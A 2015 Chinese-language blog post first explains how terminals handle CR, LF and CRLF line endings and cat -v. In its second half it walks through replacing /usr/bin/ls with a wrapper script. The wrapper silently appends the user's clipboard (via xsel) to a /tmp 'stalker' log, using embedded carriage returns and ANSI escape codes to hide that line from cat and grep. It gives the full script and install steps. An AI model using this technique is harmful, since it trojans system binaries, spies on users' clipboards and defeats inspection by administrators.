Saturday 9 May 2015

自制 grep 不到的文件

先来看一个 command:

cat hello.txt | grep -ni 'lala'

小白看到这个 command, 第一个感觉是 stupid 叻, 多此一举叻。

跑 cat 又跑 grep, 肯定很 heavy, 做么不要:

grep -ni 'lala' hello.txt

直接用 grep 就搞掂了啦。

如果再看这个:

grep -ni 'lala' hello.txt | cat

walau, 肯定呕血啦, 不要开玩笑叻。

本人小白也以为是开玩笑, 但是昨天我在 stackexchange 问了一个问题,才知道 grep 和 cat 并非是 stupid 的。

其实我还没有问这个问题的时候, 就已经察觉可能是诸如 ctrl+u 会 erase 整条 line,所以看到答案也不是很惊讶。

我稍微给小白解释一下, 旧版的 Mac 是用 \x0d(\r, Carriage Return, CR) 来当 line break, 新版才改成跟 Linux 一样 \x0a(\n, Line Feed, LF)。至于 Windows 还是一样 \x0d\x0a 參起来用。

结果 CR, LF, CRLF 这三种 formats 就在地球上满天飞。 虽然网络上还是有共识要用 CRLF。

传统的 Line feed, 故名思义,是要吃新的 row。可是没有讲要飞去左边第一个字哦。

可是 Linux 对待 LF 的方式就特别一点, 它会一边吃进去新的 row 然后自动补上 CR 飞去左边第一个字, 但是这是 tty internally, 这里的 CR 是看不到的。

[xiaobai@xiaobai tmp]$ echo -e '\x61\x0a\x62'|cat -v
a
b
[xiaobai@xiaobai tmp]$'

哎, LF 会自动补 CR, 那如果放 LFCR 或 Windows 的 CRLF 会怎样叻 ?

Linux 没有理你 LFCR 还是 CRLF combination,

如果是 LFCR, LF 自己补跳到下一行, 已经来到左边第一个字了,然后 ,

CR 多此一举又再尝试飞去左边第一个字,换句话说,原地踏步在第一个字啦。 通过 cat -v 才能把 CR 显示出来:

[xiaobai@xiaobai tmp]$ echo -e '\x61\x0a\x0d\x62'
a
b
[xiaobai@xiaobai tmp]$ echo -e '\x61\x0a\x0d\x62'|cat -v
a
^Mb
[xiaobai@xiaobai tmp]$

这里的 ^M 就是 CR。当然,CR 是 ^M 不代表 ^M 就肯定是 CR。 \x5e\x4d 也是 ^M 啊 :p (我的 hd 是 hexdump -C alias)

[xiaobai@xiaobai tmp]$ echo '^M'|hd
00000000  5e 4d 0a                                          |^M.|
00000003
[xiaobai@xiaobai tmp]$ echo -e '\x5e\x4d'
^M
[xiaobai@xiaobai tmp]$

我上面讲, LFCR 原地踏步, 那么 CRLF 呢 ? 先去下一行再去左边第一个字再左边第一个字, 跟先去左边第一个字再去下一行再左边第一个字, 想象一下有什么区别 ?  麻是原地踏步。(For 这个例子是原地踏步, 不是所有情况哦 )

但是如果 CR 后面不是 LF, 你讲会怎样叻 ? “CR饭“  就等同于去左边第一个字, 然后输入“饭“。
如果前面有 LF, 就是 “LFCR饭“, 在新的一行输入 “饭” 当然没问题。但是如果前面是 “菜”, 也就是说 “菜CR饭”, 饭就会跑去左边第一个字,然后原本的那个字 "菜" 就不见掉咯。

这里就要讲很好笑的事, 如果你 cat 或 grep 的文件是旧版 Mac 的文件只有一百个 CR 没有 一个LF。你看到的结果就是一条短短的 line, 然后其它 99 行就不见掉了。因为它遇到的每一个 CR 都会跑去左边第一个字, 从那里继续下一行, 就会 ganti 掉之前那行。无限循环到最后就只能 print 出来一条奇怪的 line 了,杯具啊。

讲这么多,来开始制作 grep 不到的文件:

[xiaobai@xiaobai tmp]$ cat /usr/bin/ls
#!/bin/bash
/home/xiaobai/-i "$@"
[xiaobai@xiaobai tmp]$

首先 cp -p /usr/bin/ls ~/note/ls, backup ls binary, 然后 cp -p ~/note/ls /home/xiaobai/-i , -i 是一般人拿来防止 rm rf * 意外的措施。

然后 vi /tmp/ls, 写上一下代码。

#!/usr/bin/env bash
w3="$(whoami)"; xsel >>"/tmp/stalkeri${w3}.log" ||  ^M^[[K^[[1A
/home/xiaobai/-i "$@"
用 hexdump -C 看 bytes:

那些输入不到的 byte 可以用 hexedit editor 加上去。好了可以用 hexdump 效对多一轮。
cp /tmp/ls /usr/bin/ls
chmod 0755 /usr/bin/ls

然后就搞掂 liao, 正常使用 ls
[xiaobai@xiaobai tmp]$ ls ~/.mozilla/
extensions  firefox  plugins  seamonkey
[xiaobai@xiaobai tmp]$ type -a ls
ls is aliased to `ls --color=auto'
ls is /usr/bin/ls
ls is /bin/ls

用 cat, grep 检查有没有 xsel 这个字眼:
[xiaobai@xiaobai tmp]$ cat /usr/bin/ls
#!/usr/bin/env bash
/home/xiaobai/-i "$@"
[xiaobai@xiaobai tmp]$
[xiaobai@xiaobai tmp]$ grep xsel /usr/bin/ls
[xiaobai@xiaobai tmp]$ cat /usr/bin/ls | grep xsel
[xiaobai@xiaobai tmp]$



但是 xsel 已经收到了:
[xiaobai@xiaobai note]$ cat /tmp/stalkerixiaobai.log
 /tmp/stalker.log#!/usr/bin/env bash
w3="$(whoami)"; xsel >>"/tmp/stalkeri${w3}.log" ||  ^M^[[K^[[1A
/home/xiaobai/-i "$@"
[xiaobai@xiaobai note]$ 大馬最漂亮的島嶼-棉花島[xiaobai@xiaobai note]$

这时候 cat 就发挥作用 liao:
[xiaobai@xiaobai note]$ grep xsel /usr/bin/ls
[xiaobai@xiaobai note]$ grep xsel /usr/bin/ls |cat -v
w3="$(whoami)"; xsel >>"/tmp/stalkeri${w3}.log" ||  ^M^[[K^[[1A
[xiaobai@xiaobai note]$

美中不足的是 wc -l 还是会出 1, 露馅了:
[xiaobai@xiaobai note]$ grep xsel /usr/bin/ls | wc -l
1
[xiaobai@xiaobai note]$

 还有后面的 1A 可以 grep 到:
[xiaobai@xiaobai note]$ grep 1A /usr/bin/ls
1A
[xiaobai@xiaobai note]$
 我还没解释 ^[[K^[[1A 拿来干嘛。因为 grep 还是会 return 一条 line (wc -l 看得出), 它们是用来来掩饰 prompt 没有任何 output。至于 || 是为了避免后方的 control characters 当成 command 来跑出 error。至于whoami 是防止 ls 被 root 开机先跑先 create 的 tmp file 没有 permission append。

用 cat 颜色不见, 所以加多一个 grep 重新激活颜色:


或者通过 konsole 本身的 find 颜色, 省回一个 process:


当然这样是不够的,要考虑买 unicode(通常 unicode 不重要的话, 就不用咯, 省回):


我把它设成 alias 方便:
alias catvu="LC_ALL=C sed \"$(printf 's/[^\t -\176\200-\377]/^&/g')\"|LC_ALL=C tr '\0-\10\13-\37\177' '@-HK-_?'"

这篇文章只是给小白学习而已,别去想什么 binaries checksum~

测试循环 grep 成功 :)

话说回头, 其实开头讲的 cat 后才 grep 并非是 stupid 的, 因为关键字坐落在右边比较方便从历史纪录更改。(更新: 还有一个好处是可以 sudo cat -v 后 | 去普通用户的 alias, 不一定得用 alias exsudo='sudo ' )




No comments:

Post a Comment